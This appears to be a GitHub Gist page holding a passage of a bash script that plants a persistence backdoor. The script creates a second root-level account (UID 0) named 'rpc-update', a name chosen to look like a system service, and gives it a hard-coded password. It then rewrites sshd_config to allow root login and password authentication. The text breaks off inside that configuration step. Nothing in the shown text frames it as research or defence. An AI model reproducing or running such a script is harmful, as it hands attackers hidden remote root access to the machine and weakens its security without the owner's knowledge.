Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
U="rpc-update"
P="yizuo123yizuo894030"
useradd -o -u 0 -g 0 -M -d / -s /bin/bash $U 2>/dev/null
echo "$U:$P" | chpasswd
CONF="/etc/ssh/sshd_config"
if [ -f "$CONF" ]; then
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin yes/' "$CONF"
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication yes/' "$CONF"